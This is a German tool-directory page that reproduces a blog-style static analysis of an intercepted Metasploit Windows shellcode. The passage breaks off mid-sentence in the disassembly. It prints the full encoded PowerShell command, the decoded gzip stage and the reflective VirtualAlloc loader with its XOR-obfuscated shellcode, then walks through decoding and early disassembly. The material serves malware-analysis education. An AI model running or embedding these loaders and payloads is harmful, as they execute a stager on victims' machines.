Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
msf_shellcode_analysis — Statische Analyse eines Metasploit-Windows-Shellcodes: PowerShell-Payload-Dekodierung, XOR-Obfuskation, PEB-Walking und Auflösung der Export Address Table. | Kitploit
Tools/GitHubGitHub/yo-yo-yo-jbo/msf_shellcode_analysis
Statische AnalyseReverse EngineeringShellcodeMalware-AnalyseBinäranalyseLernen & Bildung
GitHubyo-yo-yo-jbo/msf_shellcode_analysis

msf_shellcode_analysis

Statische Analyse eines Metasploit-Windows-Shellcodes: PowerShell-Payload-Dekodierung, XOR-Obfuskation, PEB-Walking und Auflösung der Export Address Table.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
283vor 1 MonatVon Kitploit geprüft

Statische Analyse eines Metasploit-Shellcodes

Für einen ersten Blogbeitrag dachte ich, es wäre schön, einen gängigen Metasploit-Shellcode zu analysieren – eine großartige Gelegenheit, Themen wie Encoding, PEB, Windows-Shellcodes und Export-Adresstabellen zu besprechen.

Erste Schritte

Wir beginnen mit einer abgefangenen, langen Befehlszeile:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

root@kitploit:~
Dies ist eine [base64](https://en.wikipedia.org/wiki/Base64)-kodierte PowerShell-Befehlszeile (gekennzeichnet durch das Flag `-encodedcommand`). Beim Dekodieren sieht es wie folgt aus:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Dieses Payload führt eine weitere base64-Dekodierung durch (des Teils, der mit „H4sIA...“ beginnt) und speichert das Ergebnis in einem Speicherstream ($s). Anschließend behandelt es diesen als komprimierten (gzip) Stream, dekomprimiert ihn und führt den Inhalt aus (mit IEX). Es ist ziemlich einfach, ihn zu dekomprimieren – du kannst PowerShell, CyberChef oder sogar Python verwenden:```python import io, gzip, base64 x=b'H4sIAAAAAAAAAK1...' # Omitted print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())

root@kitploit:~
Die Ausgabe enthält weitere PowerShell-Befehle, dieses Mal mit komplexerer Logik:```powershell
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

Lass es uns aufschlüsseln:

  • Die Variable $DoIt enthält den Großteil der Logik. Sie definiert eine Funktion namens func_get_proc_address, die nur ein Wrapper um kernel32!GetProcAddress ist, und verwendet die Funktion func_get_delegate_type, um einen reflektiven Delegaten zu erhalten.
  • Die Variable $var_code ist erneut (!) ein base64-Payload, aber dieses Mal ist es weniger offensichtlich – ein naiver Dekodierungsversuch ergibt nur Datenmüll.
  • Die Variable $var_code wird Byte für Byte mit dem Wert 35 per XOR verknüpft. Das erklärt bereits, warum das Dekodieren keine Strings ergibt, aber selbst nach dem XOR-Verknüpfen sieht es ohne den richtigen Kontext noch nicht vielversprechend aus.
  • Die nächsten Zeilen allokieren einen Puffer mit der Funktion kernel32!VirtualAlloc. Sie wird aufgerufen, um einen Puffer (gespeichert in $var_buffer) mit flAllocationType=0x3000 und flProtect=0x40 zu allokieren. Ein Blick auf MSDN zeigt, dass es sich bei dem Allokationstyp um und bei dem Seitenschutz um handelt.

Das sagt uns, dass der base64-kodierte Payload als 32-Bit-shellcode behandelt werden sollte. Analysieren wir ihn erneut statisch, indem wir ihn per XOR verknüpfen und in eine Binärdatei schreiben:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))

root@kitploit:~
Hier beginnt der Spaß. Du kannst deinen bevorzugten Disassembler verwenden (IDA, Binary Ninja usw.).
Es gibt sogar einige großartige [Online-Disassembler](https://shell-storm.org/online/Online-Assembler-and-Disassembler), wenn dir OpSec egal ist.
Der Anfang des Shellcodes befindet sich bei Offset 0 und der Code sollte als X86-Code behandelt werden.

## Durchlaufen des PEB
Der Code beginnt mit einer CALL-Instruktion:```assembly
0x0000000000000000:  FC                         cld        
0x0000000000000001:  E8 89 00 00 00             call       0x8f

Die cld-Anweisung löscht das Richtungsflag (sodass String-Operationen wie movsb vorwärts und nicht rückwärts arbeiten) und führt dann einen relativen Aufruf an 0x8f aus. Da call die nächste Anweisung auf den Stack legt, merken wir uns, dass der Stack mit der Adresse beschrieben wurde, die sich an Offset 6 im Shellcode befindet. Betrachten wir den Code an Offset 0x8f:```assembly 0x000000000000008f: 5D pop ebp 0x0000000000000090: 68 6E 65 74 00 push 0x74656e 0x0000000000000095: 68 77 69 6E 69 push 0x696e6977 0x000000000000009a: 54 push esp 0x000000000000009b: 68 4C 77 26 07 push 0x726774c 0x00000000000000a0: FF D5 call ebp

root@kitploit:~
Unmittelbar ein `pop` zu verwenden, um die Adresse zu sichern, ist ein gängiger Shellcoding-Trick (`call-pop`-Sequenz).
Die nächsten Push-Befehle sind interessant - oberflächlich betrachtet wirken sie wie seltsame Konstanten, aber wenn man sie als ANSI-Strings dekodiert, zeigt sich etwas Interessantes:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)

Da wir uns Stack-Pushes ansehen – musste ich sie in umgekehrter Reihenfolge extrahieren und sicherstellen, dass ich Little Endian verwende (das ist das <-Symbol im Code). Das gibt b'wininet\x00' aus, den Namen einer Windows-DLL, die für Internet-Kommunikation verwendet wird. Beachte, dass push esp die Adresse des Stapel-Endes (Top of the Stack) pusht – eine praktische Methode, um einen Zeiger auf den NUL-terminierten String wininet zu erhalten. Weiter geht’s: Wir pushen eine weitere Konstante (0x726774c) – diese dekodiert zu nichts Sinnvollem – und rufen ebp auf. Denke daran, dass ebp auf einen Code-Abschnitt an Offset 6 vom Anfang 